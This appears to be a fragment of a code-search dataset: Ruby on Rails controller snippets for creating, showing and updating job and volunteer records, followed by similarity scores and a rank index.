"def create\n @jobber = Jobber.new(params[:jobber])\n\n respond_to do |format|\n if @jobber.save\n format.html { redirect_to @jobber, notice: 'Jobber was successfully created.' }\n format.json { render json: @jobber, status: :created, location: @jobber }\n else\n format.html { render action: \"new\" }\n format.json { render json: @jobber.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @jobber = Jobber.new(jobber_params)\n\n respond_to do |format|\n if @jobber.save\n format.html { redirect_to @jobber, notice: 'Jobber was successfully created.' }\n format.json { render :show, status: :created, location: @jobber }\n else\n format.html { render :new }\n format.json { render json: @jobber.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n\t\t@job = Job.new(params[:job])\n\n\t\trespond_to do |format|\n\t\t\tif @job.save\n\t\t\t\tformat.html { redirect_to @job, notice: 'Job was successfully created.' }\n\t\t\t\tformat.json { render json: @job, status: :created, location: @job }\n\t\t\telse\n\t\t\t\tformat.html { render action: \"new\" }\n\t\t\t\tformat.json { render json: @job.errors, status: :unprocessable_entity }\n\t\t\tend\n\t\tend\n\tend",
"def create_job(job:, params: {})\n response = HTTParty.post(\"#{@host}/api/jobs\", body: {job: job, api_key: @api_key}.merge(params))\n \n return response\n end",
"def create\n @job = Job.new(params[:job])\n @job.company_id = current_company.id\n\n if @job.save\n response_message = {:message => \"Job created successfully.\", :job => @job}\n else\n response_message = {:message => \"Job creation failed. Please try again!\"}\n end\n\n respond_to do |format|\n format.xml { render :xml => response_message}\n format.json { render :json => response_message }\n end\n end",
"def create\n @job_folio = JobFolio.new(params[:job_folio])\n\n respond_to do |format|\n if @job_folio.save\n format.html { redirect_to @job_folio, notice: 'Job folio was successfully created.' }\n format.json { render json: @job_folio, status: :created, location: @job_folio }\n else\n format.html { render action: \"new\" }\n format.json { render json: @job_folio.errors, status: :unprocessable_entity }\n end\n end\n end",
"def show\n @volunteer_job = VolunteerJob.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @volunteer_job }\n end\n end",
"def job_params\n params.require(:job).permit(:description, :employment, :responsibilities, :requirements, :company_id, :user_id)\n end",
"def update\n @volunteer_job = VolunteerJob.find(params[:id])\n\n respond_to do |format|\n if @volunteer_job.update_attributes(params[:volunteer_job])\n format.html { redirect_to @volunteer_job, notice: 'Volunteer job was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @volunteer_job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @userjob = Userjob.new()\n @userjob.jobid=params[:post_id];\n @userjob.userid=current_user.id \n\n\n\n respond_to do |format|\n if @userjob.save\n format.html { redirect_to jobs_path, notice: 'Job applied successfully.' }\n format.json { render :show, status: :created, location: jobs_path }\n else\n format.html { render :new }\n format.json { render json: @userjob.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @job_posting = JobPosting.new(job_posting_params)\n\n respond_to do |format|\n if @job_posting.save\n format.html { redirect_to @job_posting, notice: 'Job posting was successfully created.' }\n format.json { render action: 'show', status: :created, location: @job_posting }\n else\n format.html { render action: 'new' }\n format.json { render json: @job_posting.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @job }\n end\n end",
"def job_params\n params.require(:job).permit(:name, :target, :current, :status)\n end",
"def job_params\n params.require(:job).permit(:name, :company_id, :status, :curriculum_profile_id, :curriculum_office_id, :number, :city_id, :teaching, :cnh, :travel, :availability, :visible, :description, :benefit)\n end",
"def job_params\n params.require(:job).permit(:title, :description, :name, :email, :category, :deadline)\n end",
"def create\n @volunteer = Volunteer.new(volunteer_params)\n respond_to do |format|\n begin\n if @volunteer.save\n AdminMailer.with(volunteer: @volunteer).new_volunteer_email.deliver\n format.html { redirect_to @volunteer, notice: 'volunteer was successfully created.' }\n format.json { render :show, status: :created, location: @volunteer }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @volunteer.errors, status: :unprocessable_entity }\n end\n rescue ArgumentError\n flash.now[:danger] = 'Please ensure all fields are filled in.'\n format.html { render :new, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @training_active_job = Training::ActiveJob.new(params[:training_active_job])\n\n respond_to do |format|\n if @training_active_job.save\n format.html { redirect_to @training_active_job, notice: 'Active job was successfully created.' }\n format.json { render json: @training_active_job, status: :created, location: @training_active_job }\n else\n format.html { render action: \"new\" }\n format.json { render json: @training_active_job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n job = Job.find(params[:job_id])\n @saved_job = SavedJob.create(:job_id => params[:job_id], :user_id => current_user().id)\n\n respond_to do |format|\n if @saved_job.save\n format.html { redirect_to @saved_job, :notice => 'Saved job was successfully created.' }\n format.js\n format.json { render :json => @saved_job, :status => :created, :location => @saved_job }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @saved_job.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def job_params\n params.require(:job).permit(:vehicle_type, :phone_number, :address, :description, :location, :user_id)\n end",
"def create\n @job_compact = JobCompact.new(params[:job_compact])\n\n respond_to do |format|\n if @job_compact.save\n format.html { redirect_to @job_compact, notice: 'Job compact was successfully created.' }\n format.json { render json: @job_compact, status: :created, location: @job_compact }\n else\n format.html { render action: \"new\" }\n format.json { render json: @job_compact.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @job_application = JobApplication.new(params[:job_application])\n @vacancy = Vacancy.find_by_id(params[:vacancy_id]);\n if user_signed_in? && !current_user.admin?\n applicant = Applicant.find_by_id(current_user.id)\n @job_application.applicant_id = current_user.id\n @job_application.vacancy_id = @vacancy.id\n end\n \n respond_to do |format|\n if @job_application.save\n format.html { redirect_to @vacancy, notice: 'Job application was successfully created.' }\n format.json { render json: @job_application, status: :created, location: [applicant, @job_application] }\n else\n format.html { render action: \"new\" }\n format.json { render json: @job_application.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @volunteer = Volunteer.new(params[:volunteer])\n @volunteer.status = \"New\"\n \n respond_to do |format|\n if @volunteer.save\n @volunteer.orientation.numCurrParticipant = @volunteer.orientation.numCurrParticipant + 1\n\t@volunteer.orientation.save\n format.html { \n redirect_to @volunteer, \n notice: \"Volunteer was successfully created.\" }\n format.json { \n render json: @volunteer, status: :created, location: @volunteer }\n else\n format.html { render action: \"new\" }\n format.json { \n render json: @volunteer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @photo_job = PhotoJob.new(params[:photo_job])\n\n respond_to do |format|\n if @photo_job.save\n format.html { redirect_to @photo_job, :notice => 'Photo job was successfully created.' }\n format.json { render :json => @photo_job, :status => :created, :location => @photo_job }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @photo_job.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n flash[:notice] = 'Job Created' if @job_category.jobs.create params[:job]\n respond_with @job.job_category, @job\n end",
"def create\n GpsJob.perform_later(request_params)\n head(:ok)\n end",
"def create\n puts '******************* id='+params[:job_id]\n job = Job.find(params[:job_id])\n department = Department.find(params[:department_id])\n @collaborator = Collaborator.new({name: params[:name],paterno: params[:paterno],materno: params[:materno],registration_date: params[:registration_date],job: job, department: department})\n\n respond_to do |format|\n if @collaborator.save\n format.html { redirect_to @collaborator, notice: 'Collaborator was successfully created.' }\n format.json { render :show, status: :created, location: @collaborator }\n else\n format.html { render :new }\n format.json { render json: @collaborator.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @printjob = Printjob.new(printjob_params)\n\n\n respond_to do |format|\n if @printjob.save\n format.html { redirect_to @printjob, notice: 'Printjob was successfully created.' }\n format.json { render :show, status: :created, location: @printjob }\n else\n format.html { render :new }\n format.json { render json: @printjob.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @db_job = DbJob.new(db_job_params)\n\n respond_to do |format|\n if @db_job.save\n format.html { redirect_to @db_job, notice: 'Db job was successfully created.' }\n format.json { render :show, status: :created, location: @db_job }\n else\n format.html { render :new }\n format.json { render json: @db_job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @volunteer = Volunteer.new(params[:volunteer])\n\n respond_to do |format|\n if @volunteer.save\n flash[:notice] = 'Submission was accepted.'\n format.html\n format.xml { render :xml => @volunteer, :status => :created, :location => @volunteer }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @volunteer.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def job_params\n params.require(:job).permit(:started_at, :user_id)\n end",
"def job_params\n params.require(:job).permit(:title, :description, :location, :remote, :industry, :job_type, :requirements, :benefits)\n end",
"def create\n @job = Job.new(job_params)\n if @job.save\n flash[:success] = 'Job was successfully created.'\n redirect_to @job \n else\n render :new\n end\n end"
] |
[
"0.6663876",
"0.66525453",
"0.66429484",
"0.64768344",
"0.62916523",
"0.6247854",
"0.6214603",
"0.6212004",
"0.619421",
"0.6176091",
"0.61703014",
"0.61641085",
"0.6156818",
"0.61516213",
"0.61468",
"0.61285746",
"0.61042786",
"0.6103418",
"0.60971755",
"0.6088171",
"0.60715127",
"0.6051827",
"0.60511845",
"0.6047274",
"0.60397404",
"0.60397404",
"0.60383224",
"0.6032258",
"0.6030477",
"0.6030477",
"0.6030477",
"0.60174906",
"0.5984639",
"0.59749854",
"0.5968845",
"0.59659517",
"0.5957652",
"0.59570265",
"0.5943906",
"0.5940056",
"0.59385514",
"0.5937321",
"0.59371775",
"0.5931864",
"0.5931191",
"0.5912436",
"0.59090406",
"0.5889884",
"0.5873978",
"0.58680767",
"0.5865101",
"0.58635306",
"0.58605945",
"0.5857882",
"0.5855156",
"0.5851697",
"0.58510333",
"0.5844735",
"0.58444756",
"0.58437014",
"0.58397186",
"0.5832334",
"0.58067584",
"0.58041745",
"0.57990664",
"0.57917583",
"0.5787776",
"0.5771621",
"0.5765313",
"0.5763187",
"0.5757062",
"0.57498854",
"0.574708",
"0.5734558",
"0.57291406",
"0.57290274",
"0.5725761",
"0.5725738",
"0.5718371",
"0.5712147",
"0.5705227",
"0.56949764",
"0.5684648",
"0.5664225",
"0.56606066",
"0.56603545",
"0.5629841",
"0.5623136",
"0.5620416",
"0.5616881",
"0.5615625",
"0.5614603",
"0.5610268",
"0.5608949",
"0.56050193",
"0.5598573",
"0.55979925",
"0.55932075",
"0.55923694",
"0.5591102"
] |
0.7408671
|
0
|
PUT /volunteer_jobs/1 PUT /volunteer_jobs/1.json
|
def update
@volunteer_job = VolunteerJob.find(params[:id])
respond_to do |format|
if @volunteer_job.update_attributes(params[:volunteer_job])
format.html { redirect_to @volunteer_job, notice: 'Volunteer job was successfully updated.' }
format.json { head :ok }
else
format.html { render action: "edit" }
format.json { render json: @volunteer_job.errors, status: :unprocessable_entity }
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def update\n\n @job = current_member.jobs.find(params[:id])\n\n respond_to do |format|\n if @job.update_attributes(job_params)\n format.html { redirect_to @job, notice: 'The stuff you want done was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @volunteer_job = VolunteerJob.new(params[:volunteer_job])\n\n respond_to do |format|\n if @volunteer_job.save\n format.html { redirect_to @volunteer_job, notice: 'Volunteer job was successfully created.' }\n format.json { render json: @volunteer_job, status: :created, location: @volunteer_job }\n else\n format.html { render action: \"new\" }\n format.json { render json: @volunteer_job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @job = @user.jobs.find(params[:id])\n\n respond_to do |format|\n if @job.update_attributes(params[:job])\n format.html { redirect_to @job, notice: 'Job was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n job = Job.find(params[:id])\n job.update_attributes(job_params)\n render json: job\n end",
"def update\n @job = current_user.jobs.find(params[:id])\n\n respond_to do |format|\n if @job.update_attributes(params[:job])\n flash[:notice] = t('jobs_controller.update.success')\n format.html { redirect_to @job}\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @job = @user.jobs.find(params[:id])\n\n respond_to do |format|\n if @job.update(job_params)\n format.html { redirect_to @job, notice: \"Job was successfully updated.\" }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @launched_job.update(launched_job_params)\n format.html { redirect_to @launched_job, notice: 'Launched job was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @launched_job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def destroy\n @volunteer_job = VolunteerJob.find(params[:id])\n @volunteer_job.destroy\n\n respond_to do |format|\n format.html { redirect_to volunteer_jobs_url }\n format.json { head :ok }\n end\n end",
"def update\n respond_to do |format|\n if @create_job.update(create_job_params)\n format.html { redirect_to @create_job, notice: 'job was successfully updated.' }\n format.json { render :show, status: :ok, location: @create_job }\n else\n format.html { render :edit }\n format.json { render json: @create_job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update_job_success(job_id, success)\n RestClient.put \"#{rest_jobs_url}/#{job_id}\", {\"passed\" => success}.to_json, :content_type => :json\nend",
"def update_job_success(job_id, success)\n RestClient.put \"#{rest_jobs_url}/#{job_id}\", { 'passed' => success }.to_json, :content_type => :json\nend",
"def update_job_success(job_id, success)\n RestClient.put \"#{rest_jobs_url}/#{job_id}\", { 'passed' => success }.to_json, :content_type => :json\nend",
"def update_job_success(job_id, success)\n RestClient.put \"#{rest_jobs_url}/#{job_id}\", { 'passed' => success }.to_json, :content_type => :json\nend",
"def update\n respond_to do |format|\n if @job.update(job_params)\n format.html { redirect_to app_jobs_path, notice: 'Job was successfully updated.' }\n format.json { render :show, status: :ok, location: @job }\n else\n format.html { render :edit }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n #@job = Job.find(params[:id])\n\n respond_to do |format|\n if @job.update_attributes(params[:job])\n format.html { redirect_to @job, notice: 'Job was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @job = Job.find(params[:id])\n @job.update({\n name: params[:job][:name],\n description: params[:job][:description],\n origin: params[:job][:origin],\n destination: params[:job][:destination],\n cost: params[:job][:cost],\n containers_needed: params[:job][:containers_needed]\n })\n\n if (@job)\n redirect_to url_for(:controller => :jobs, :action => :index)\n else\n redirect_to url_for(:controller => :jobs, :action => :edit)\n end\n end",
"def update\n @job = @user.jobs.find(params[:id])\n\n respond_to do |format|\n if @job.update_attributes(params[:job])\n format.html { redirect_to(@job, :notice => 'Job was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @job.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @pending_job.update(pending_job_params)\n format.html { redirect_to @pending_job, notice: 'Pending job was successfully updated.' }\n format.json { render :show, status: :ok, location: @pending_job }\n else\n format.html { render :edit }\n format.json { render json: @pending_job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n byebug\n respond_to do |format|\n if @job.update(send(\"#{@job.type.underscore.to_sym}_params\"))\n format.html { redirect_to @job, notice: 'Job was successfully updated.' }\n format.json { render :show, status: :ok, location: @job }\n else\n format.html { render :edit }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n authorize!(@job)\n respond_to do |format|\n if @job.update(job_params)\n format.html { redirect_to @job, notice: 'Job was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @job = Mugen::Job.update(params[:id])\n \n redirect_to mygengo_jobs_path\n end",
"def update\n respond_to do |format|\n if @applicant_job.update(applicant_job_params)\n format.html { redirect_to @applicant_job, notice: 'Applicant job was successfully updated.' }\n format.json { render :show, status: :ok, location: @applicant_job }\n else\n format.html { render :edit }\n format.json { render json: @applicant_job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @volunteer = Volunteer.find(params[:id])\n\n respond_to do |format|\n if @volunteer.update_attributes(params[:volunteer])\n format.html { redirect_to @volunteer, notice: 'Volunteer was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @volunteer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @volunteer_task = VolunteerTask.find(params[:id])\n\n respond_to do |format|\n if @volunteer_task.update_attributes(params[:volunteer_task])\n format.html { redirect_to @volunteer_task, notice: 'Volunteer task was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @volunteer_task.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @job = Job.find(params[:id])\n\n respond_to do |format|\n if @job.update_attributes(params[:job])\n format.html { redirect_to @job, notice: 'Job was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @job = Job.find(params[:id])\n\n respond_to do |format|\n if @job.update_attributes(params[:job])\n format.html { redirect_to @job, notice: 'Job was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @userjob.update(userjob_params)\n format.html { redirect_to @userjob, notice: 'Userjob was successfully updated.' }\n format.json { render :show, status: :ok, location: @userjob }\n else\n format.html { render :edit }\n format.json { render json: @userjob.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @myjob.update(myjob_params)\n format.html { redirect_to @myjob, notice: 'Myjob was successfully updated.' }\n format.json { render :show, status: :ok, location: @myjob }\n else\n format.html { render :edit }\n format.json { render json: @myjob.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @job.update(job_params)\n format.html { redirect_to mentor_job_path(@job), notice: 'Job was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @volunteer.update(volunteer_params)\n format.html { redirect_to @volunteer, notice: 'Volunteer was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @volunteer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @job = Job.find(params[:id])\n respond_to do |format|\n if @job.update_attributes(params[:job])\n format.html { redirect_to @job, notice: 'Job was successfully accepted.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @job.update(job_params)\n format.html { redirect_to @job, notice: 'Job was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @job.update(job_params)\n format.html { redirect_to @job, notice: 'Job was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @job.update(job_params)\n format.html { redirect_to root_path, notice: 'Job was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @job.update(job_params)\n format.html { redirect_to @job, notice: 'Job was successfully updated.' }\n format.json { render :show, status: :ok, location: @job }\n else\n format.html { render :edit }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @job.update(job_params)\n format.html { redirect_to @job, notice: 'Job was successfully updated.' }\n format.json { render :show, status: :ok, location: @job }\n else\n format.html { render :edit }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @job.update(job_params)\n format.html { redirect_to @job, notice: 'Job was successfully updated.' }\n format.json { render :show, status: :ok, location: @job }\n else\n format.html { render :edit }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @job.update(job_params)\n format.html { redirect_to @job, notice: 'Job was successfully updated.' }\n format.json { render :show, status: :ok, location: @job }\n else\n format.html { render :edit }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @job.update(job_params)\n format.html { redirect_to @job, notice: 'Job was successfully updated.' }\n format.json { render :show, status: :ok, location: @job }\n else\n format.html { render :edit }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @job.update(job_params)\n format.html { redirect_to @job, notice: 'Job was successfully updated.' }\n format.json { render :show, status: :ok, location: @job }\n else\n format.html { render :edit }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @job.update(job_params)\n format.html { redirect_to @job, notice: 'Job was successfully updated.' }\n format.json { render :show, status: :ok, location: @job }\n else\n format.html { render :edit }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @job.update(job_params)\n format.html { redirect_to @job, notice: 'Job was successfully updated.' }\n format.json { render :show, status: :ok, location: @job }\n else\n format.html { render :edit }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @job.update(job_params)\n format.html { redirect_to @job, notice: 'Job was successfully updated.' }\n format.json { render :show, status: :ok, location: @job }\n else\n format.html { render :edit }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @job.update(job_params)\n format.html { redirect_to @job, notice: 'Job was successfully updated.' }\n format.json { render :show, status: :ok, location: @job }\n else\n format.html { render :edit }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @job.update(job_params)\n format.html { redirect_to @job, notice: 'Job was successfully updated.' }\n format.json { render :show, status: :ok, location: @job }\n else\n format.html { render :edit }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @job.update(job_params)\n format.html { redirect_to @job, notice: 'Job was successfully updated.' }\n format.json { render :show, status: :ok, location: @job }\n else\n format.html { render :edit }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @job.update(job_params)\n format.html { redirect_to @job, notice: 'Job was successfully updated.' }\n format.json { render :show, status: :ok, location: @job }\n else\n format.html { render :edit }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @job.update(job_params)\n format.html { redirect_to @job, notice: 'Job was successfully updated.' }\n format.json { render :show, status: :ok, location: @job }\n else\n format.html { render :edit }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @job.update(job_params)\n format.html { redirect_to edit_employer_path(@employer,anchor: \"jobs_tab\"), notice: 'Job was successfully updated.' }\n format.json { render :show, status: :ok, location: @job }\n else\n format.html { render :edit }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @job.update(job_params)\n format.html { redirect_to @job, success: 'Job was successfully updated.' }\n format.json { render :show, status: :ok, location: @job }\n else\n format.html { render :edit }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @job_hunting.update(job_hunting_params)\n format.html { redirect_to @job_hunting, notice: 'Job hunting was successfully updated.' }\n format.json { render :show, status: :ok, location: @job_hunting }\n else\n format.html { render :edit }\n format.json { render json: @job_hunting.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @job.update(job_params)\n format.html { redirect_to jobs_path, notice: 'Job was successfully updated.' }\n format.json { render :show, status: :ok, location: @job }\n else\n format.html { render :edit }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def show\n @volunteer_job = VolunteerJob.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @volunteer_job }\n end\n end",
"def update\n @job.modifier = current_user\n respond_to do |format|\n if @job.update(job_params)\n format.html { redirect_to @job, notice: 'Job was successfully updated.' }\n format.json { render :show, status: :ok, location: @job }\n else\n format.html { render :edit }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @act_job.update(act_job_params)\n format.html { redirect_to @act_job, notice: 'Act job was successfully updated.' }\n format.json { render :show, status: :ok, location: @act_job }\n else\n format.html { render :edit }\n format.json { render json: @act_job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @job_application = JobApplication.find(params[:id])\n\n respond_to do |format|\n if @job_application.update_attributes(params[:job_application])\n format.html { redirect_to vacancy_path(@job_application.vacancy_id), notice: 'Job application was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @job_application.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @company_job_opportunity.update(company_job_opportunity_params)\n flash[:notice] = 'Job opportunity was successfully updated.'\n format.html { redirect_to home_company_path(@company) }\n format.json { render :show, status: :ok, location: @company_job_opportunity }\n else\n format.html { render :edit }\n format.json { render json: @company_job_opportunity.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @job.update(job_params)\n format.html { redirect_to @job, notice: \"Job was successfully updated.\" }\n format.json { render :show, status: :ok, location: @job }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n if @job.update(job_params)\n @job.update(category: @category)\n @job.update(keywords: @keywords)\n render json: @job, status: :accepted\n else\n render json: @job.errors, status: :unprocessable_entity\n end\n end",
"def new\n @volunteer_job = VolunteerJob.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @volunteer_job }\n end\n end",
"def update\n @emp_job = EmpJob.find(params[:id])\n\n respond_to do |format|\n if @emp_job.update_attributes(params[:emp_job])\n format.html { redirect_to @emp_job, notice: 'Emp job was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @emp_job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def index\n @volunteer_jobs = VolunteerJob.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @volunteer_jobs }\n end\n end",
"def update\n respond_to do |format|\n if UbiquoJobs.manager.update(params[:id], params[:job])\n flash[:notice] = t(\"ubiquo.jobs.job_edited\")\n format.html { redirect_to(ubiquo.jobs_path) }\n format.xml { head :ok }\n format.js\n else\n flash[:error] = t(\"ubiquo.jobs.cant_edit\")\n format.html { render :action => \"edit\" }\n format.xml { render :status => :unprocessable_entity }\n format.js\n end\n end\n end",
"def update\n if params[:job][:staff].present?\n @job.staff.clear\n params[:job][:staff].each do |s|\n @job.staff << Staff.where(id: s)\n end\n end\n if params[:job][:contractor].present?\n @job.contractor = Contractor.find(params[:job][:contractor])\n end\n if params[:job][:date_completed].present? and params[:job][:date_payment_recv].present? and params[:job][:date_completed] <= Time.now and params[:job][:date_payment_recv] <= Time.now\n @job.status = 0\n end\n respond_to do |format|\n if @job.update(job_params)\n format.html { redirect_to @job, notice: 'Job was successfully updated.' }\n format.json { render :show, status: :ok, location: @job }\n else\n format.html { render :edit }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @customer_job.update( customer_job_params )\n format.html { redirect_to @customer_job, notice: 'Customer job was successfully updated.' }\n format.json { render :show, status: :ok, location: @customer_job }\n else\n format.html { render :edit }\n format.json { render json: @customer_job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @job.update(job_params)\n record_activity :update, @job\n format.html { redirect_to @job, notice: 'Job was successfully updated.' }\n format.json { render :show, status: :ok, location: @job }\n else\n format.html { render :edit }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @training_active_job = Training::ActiveJob.find(params[:id])\n\n respond_to do |format|\n if @training_active_job.update_attributes(params[:training_active_job])\n format.html { redirect_to @training_active_job, notice: 'Active job was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @training_active_job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n authorize @job\n respond_to do |format|\n if @job.update(job_params)\n flash[:success] = t('flashes.update', model: Job.model_name.human)\n format.html { redirect_to @job}\n format.json { render :show, status: :ok, location: @job }\n else\n format.html { render :edit }\n format.json { render json: @job.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update!(**args)\n @advance_rollout_jobs = args[:advance_rollout_jobs] if args.key?(:advance_rollout_jobs)\n @create_rollout_jobs = args[:create_rollout_jobs] if args.key?(:create_rollout_jobs)\n end",
"def update\n respond_to do |format|\n if @job_progress.update(job_progress_params)\n format.html { redirect_to @job_progress, notice: 'Job progress was successfully updated.' }\n format.json { render :show, status: :ok, location: @job_progress }\n else\n format.html { render :edit }\n format.json { render json: @job_progress.errors, status: :unprocessable_entity }\n end\n end\n end",
"def action_update\n if job_exists\n post_job(job_url)\n else\n post_job(new_job_url)\n end\nend",
